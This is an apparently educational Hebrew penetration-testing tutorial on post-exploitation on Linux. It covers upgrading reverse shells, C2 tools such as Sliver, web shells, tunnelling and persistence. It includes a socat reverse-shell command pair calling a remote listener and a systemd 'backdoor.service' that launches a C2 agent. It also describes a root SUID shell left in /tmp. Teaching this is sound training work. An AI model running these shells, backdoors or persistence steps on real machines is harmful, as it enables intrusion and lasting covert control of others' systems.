הצלחנו להסלים הרשאות, מה עכשיו?¶
קצת על ריברס shell¶
אז דיברנו קצת על reverse shell-ים בעבר, ובגדול אפשר ליצור reverse shell ממש פשוט באמצעות המון פקודות ותוכנות שיש במחשבי לינוקס.
אם אתם צריכים תזכורת, בקרו באתר הבא ותקראו את הreverse shell-ים השונים שאפשר לעשות שם: https://www.revshells.com/
- אחת הבעיות של reverse shell שמאוד קל לתקוע אותם, כלומר בגלל שאין לנו חיבור טרמינל אמיתי ואנחנו כנראה עובדים מעל ncat, אז בכל ctrl+c לא נכון, אנחנו יכולים להקריס את החיבור.
- כדי לפתור את הבעיה, נוכל ליצור "tty" לחיבור שלנו- או במילים אחרות, לקבל הגדרות של shell ממערכת ההפעלה בצד שרת כדי לעטוף את החיבור לshell אמיתי ולקבל shell חוסני יותר.
קראו את המדריך הבא: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
הנה כמה דרכים:
- באמצעות פקודת פייתון
- ליצור reverse shell עם socat
# on attacker
socat file:`tty`,raw,echo=0 tcp-listen:4444
# on attacked
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
אם לא מותקן socat, תוכלו להוריד בינארי סטטי: https://github.com/andrew-d/static-binaries/tree/master
- ליצור tty עם bash:
בגדול כדי לשפר אפילו עוד יותר את החוויה שלנו עם reverse shell-ים, נוכל להשתמש בכלים צד לוקח שעוטפים reverse shell-ים.
הכלי pwncat¶
הכלי pwncat מאפשר לנו לבסס reverse shell פשוט עם צד לקוח מורכב עם המון אפשרויות.
- הרימו חיבור מאזין עם pwncat,
- הריצו על הנתקף reverse shell פשוט שמתחבר לpwncat שלכם
- וקיבלתם כלי לניהול הreverse shell.
https://github.com/calebstewart/pwncat
כלי סייבר בלינוקס¶
אבל מה לעשות, ריברס של אף פעם לא יכול להיות פתרון הרמתי.
וכאשר אנחנו רוצים לקבל שליטה יותר חזקה על המכונה, נצטרך להשתמש בכלי סייבר אמיתי ויותר חזק.
נרצה להתקין כלים שיאפשרו לנו לבצע פעולות בצורה קלה ונוחה. הכלים הללו צריכים לעמוד בכמה קריטריונים:
- לאפשר הרצת קוד באופן חופשי.
- לאפשר העלאה והורדה של קבצים למכונה.
- לאפשר טינול (tunneling) מהמחשב שלנו לרשת פנימית דרך המחשב שעליו אנחנו רצים.
- שהכלי יהיה פרסיסטנטי, כך שגם לאחר אתחול מחדש של המערכת הכלי ישאר.
דוגמאות לכלים מוכרים באינטרנט¶
הכלי Sliver¶
הכלי Sliver הוא כלי C2 (Command & Control) מתקדם שמאפשר שליטה מרחוק, הצפנה מלאה של תקשורת, והעברת קבצים בצורה מאובטחת.
הגיטהאב של סליבר: https://github.com/BishopFox/sliver
עמוד הוויקי של סליבר: https://sliver.sh/docs?name=Getting+Started
כנסו לוויקי ולמדו בעצמכם כיצד להשתמש בסליבר, בגדול תצטרכו להרים שרת c2 שמנהל את כל הכלים שלכם (הagent-ים)- ואחרכך תוכלו לג'נרט agent-ים כקבצי בינארים (קבצי הרצה) ולהריץ אותם על מחשב הנתקף.
שרת SSH¶
שרת SSH היא עוד דרך שבה נוכל להתחבר למכונה, להעלות ולהוריד קבצים, ולטנל תעבורה דרכה עם תעבורה מוצפנת בSSL ופרסיסטנטית לחלוטין.
- כמובן רלוונטית רק אם כבר יש שרת SSH על המכונה, ומשאירה המון לוגים.
יצירת מפתח SSH והכנסתו למכונה:¶
בפקודות למטה אנחנו יוצרים מפתח SSH, ומכניסים אותו לתקיית ה.ssh של תקיית הבית של המשתמש שדרכו אנחנו מריצים קוד.
המטרה היא ליצור מפתח שנוכל להשתמש בו כדי להתחבר לשרת הSSH בלי סיסמה. (לא תמיד יש לנו אותה)
התחברות למכונה מרחוק:¶
כדי להתחבר למכונה, נוכל לעשות פקודת ssh בסיסית רק עם הדגל i- שבאמצעתו אנחנו נביא את מפתח הssh שגינרטנו כדי לאיתמת מול שרת הSSH
הכלי weevely3 (Web Shell) + SUID Binary¶
הכלי weevely3 הוא web shell שיודע לגנרט וובשלים מוצפנים עם העלה והורדה של קבצים.
אפשר לצייד כל מערכת לינוקס שאנחנו מריצים עלייה קוד עם בינארי של shell עםsuid bit לroot, כדי לשמור את ההרשאות הroot, וזה שילוב נהדר עם וובשל.
עכשיו בכל פעם שנריץ את /tmp/shell עם הדגל -p נוכל להריץ קוד כroot.
וזה עובד מצויין אם אנחנו עובדים דרך וובשל שכנראה רץ בהרשאות נמוכות (הרשאות של אתר).
https://github.com/epinna/weevely3
הכלי Dropbear (שרת SSH קל משקל)¶
לפעמים כשאין שרת ssh על המכונה, נוכל להתקין dropbear- שזה שרת ssh מקומפל וקטן שאפשר להריץ בפשטות כבינארי על כל מכונה.
התקנת Dropbear:¶
הפעלת Dropbear עם פורט מותאם אישית:¶
התחברות לשרת Dropbear:¶
כמובן שכשאנחנו מתחברים לdropbear אפשר גם לעשות זאת עם מפתח, אם אין לנו creds של משתמש במערכת.
כלי טינול¶
חלק מהכלים לא מאפשרים לנו לטנל לתוך הרשת, בדרך כלל וובשלים לא מאפשרים וגם כלים כמו dropbear.
כדי לטנל ניתן להשתמש בכלי טינול שמיועדים לכך.
הכלי Chisel¶
הכלי Chisel הוא כלי טינול קל משקל שמאפשר ליצור חיבורי רשת מאובטחים דרך פרוקסי. ניתן להשתמש בו כדי לעקוף חומות אש או להעביר תעבורה דרך חיבור מאובטח.
דוגמאות לפקודות:¶
הפעלת שרת Chisel:
הפעלת לקוח שמתחבר לשרת ומגדיר העברת פורטים:
בפקודה זו, הלקוח מתחבר לשרת בכתובת 192.168.1.100 בפורט 8080 ומבצע טינול הפוך (reverse tunneling), כך שחיבור לפורט 1080 בשרת יעבור ל־127.0.0.1:22 של הלקוח.
הכלי socat¶
הכלי Socat הוא כלי מתקדם להעברת נתונים בין שני סוקטים. הוא מאפשר יצירת חיבורים מוצפנים, הפניית תעבורה, ויצירת פרוקסי מאולתר.
דוגמאות לפקודות:¶
יצירת טינול פשוט מ־localhost:8080 לשרת מרוחק בפורט 80:
שימוש ב־socat ליצירת חיבור הפוך (reverse shell) מאובטח:
האזנה מרחוק עם חיבור מוצפן (TLS) לשרת:
פקודה זו יוצרת שרת שמאזין בפורט 443 ומספק גישה ל־shell באמצעות TLS.
הכלי iptables¶
הכלי iptables משמש לשליטה בתעבורת הרשת, וניתן להשתמש בו גם כדי ליצור כללי טינול והפניית תעבורה.
דוגמאות לפקודות:¶
הפניית תעבורה מפורט 8080 לכתובת פנימית בפורט 80:
הגדרת שרת פרוקסי שמפנה תעבורה דרך מכונה אחרת:
שימוש בטינול הפוך עם iptables וחיבור לשרת מרוחק:
פקודה זו גורמת לכך שכל חיבור לכתובת המקומית בפורט 4444 ינותב לכתובת 192.168.1.100 בפורט 22.
שיטות פרסיסנטיות לכלי סייבר¶
לפעמים, לכלי סייבר שונים אין פרסיסטנטיות, למזלנו בלינוקס יש המון דרכים שבהם נוכל להריץ קוד כאשר המחשב מקבל ריסטרט.
הנה כמה דרכים מוכרות:
שיטת Shell Configuration Modification¶
עריכת קובצי shell כמו .bashrc או .profile להוספת פקודות שירוצו בהתחברות:
שיטת rc.local / rc.common¶
עריכת קובץ /etc/rc.local כדי להפעיל כלי אחרי אתחול:
שיטת Systemd Services¶
יצירת שירות חדש שמפעיל כלי בעת עליית המערכת:
echo -e '[Unit]\nDescription=Backdoor Service\n[Service]\nExecStart=/usr/bin/sliver-agent\n[Install]\nWantedBy=multi-user.target' > /etc/systemd/system/backdoor.service
systemctl enable backdoor.service
שיט Cron Jobs¶
הוספת משימה מתוזמנת להרצת כלי בכל דקה:
דוגמה לשימוש בכלים.¶
- נשתמש בכלי Sliver כדי להשאיר גישה למחשב הלינוקס .
- נשתמש בשיטת Systemd Services כדי להבטיח שהכלי ישרוד אתחול (פרסיסטנטיות).
- נשתמש בשרת Chisel כדי ליצור טינול לרשת הפנימית.
פיתוח כלי סייבר בקטנה¶
כדי לפתח כלי סייבר בלינוקס שרצים בצד הנתקף צריך לדעת לפתח בשפת תכנות שיכולה לתקשר עם מערכת ההפעלה מבוססת לינוקס בצורה טובה, וגם שפה שבסוף תביא לנו בינארי (קובץ הרצה) שנוכל להריץ על הנתקף.
- זאת עבודה קשה.
- בדרך כלל נעשה זאת עם שפה כמו C, go, Rust, CPP ועוד.
- חוץ מללמוד את השפה לעומק, תצטרכו גם לדעת איך מערכות הפעלה מבוססות לינוקס עובדות מאחורי הקלעים ברמה גבוהה, ואיך ניתן לכתוב כלי שיודע לנצל את הפיצ'רים השונים במערכת ההפעלה כדי לעבוד יותר טוב ובצורה מוסתרת
עולם הפיתוח כלים, הוא ענק ומורכב מאוד.
ממליץ מאוד לנסות להיכנס לעולם הזה, ללא ספק יעזור לכם גם כחוקרי אבטחה ובודקי חדירות.